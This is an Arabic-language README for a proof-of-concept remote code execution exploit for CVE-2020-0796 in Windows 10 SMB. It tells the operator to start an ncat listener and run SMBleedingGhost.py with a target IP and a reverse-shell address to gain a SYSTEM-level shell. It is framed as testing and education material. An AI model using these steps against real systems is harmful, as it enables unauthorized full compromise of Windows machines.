
إثبات مفهوم (POC) لتنفيذ التعليمات البرمجية عن بُعد لـ CVE-2020-0796
تأكد من تثبيت Python و ncat.
شغّل calc_target_offsets.bat على الكمبيوتر الهدف، واضبط الإزاحات (offsets) في أعلى ملف SMBleedingGhost.py وفقًا لمخرجات السكربت (انظر أيضًا الملاحظة أدناه).
شغّل ncat مع وسائط سطر الأوامر التالية:
ncat -lvp <port>
حيث <port> هو رقم المنفذ الذي سيستمع عليه ncat.
شغّل SMBleedingGhost.py مع وسائط سطر الأوامر التالية:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
حيث <target_ip> هو عنوان IP الخاص بالكمبيوتر الهدف الضعيف. <reverse_shell_ip> و <reverse_shell_port> هما عنوان IP ورقم المنفذ الذي يستمع عليه .
إذا سار كل شيء على ما يرام، سيعرض ncat شلّة (shell) توفّر وصولًا على مستوى النظام إلى الكمبيوتر الهدف.
ملاحظة: قد تتساءل لماذا من الضروري تشغيل سكربت calc_target_offsets.bat على الكمبيوتر الهدف، وأليس ذلك يفوّت الغرض الكامل من كون تنفيذ التعليمات البرمجية عن بُعد هو "عن بُعد". هذه الإزاحات ليست عشوائية، وهي نفسها على جميع نسخ Windows من نفس إصدار Windows. يمكن للمرء جعل الهجوم أكثر عمومية من خلال اكتشاف إصدار Windows الهدف وضبط الإزاحات تلقائيًا، أو من خلال عدم الاعتماد عليها إطلاقًا، لكنه مجرد POC وقمنا بما هو أبسط. كما نرى أنه من الجيد أن الـ POC ليس عامًا، وليس مناسبًا لاستخدامات أخرى غير الاختبار والتعليم.

إصدارات Windows 10 1903 و 1909 متأثرة. إصدارات Windows 10 1903 غير المحدّثة غير مدعومة بسبب خلل في إلغاء الإشارة الفارغة (null dereference) في Windows (تم إصلاحه في KB4512941).
نظرًا لطبيعة الاستغلال، يعمل الـ POC بشكل أفضل مع الأهداف التي تعمل على كمبيوتر (أو جهاز افتراضي VM) بمعالج منطقي واحد. يجب أيضًا دعم الأهداف التي تحتوي على أكثر من معالج منطقي وتعمل على VirtualBox، لكن الـ POC أقل موثوقية في هذه الحالة. قد لا تكون الأهداف الأخرى مدعومة. للتفاصيل، راجع الوصف التقني الخاص بنا أدناه.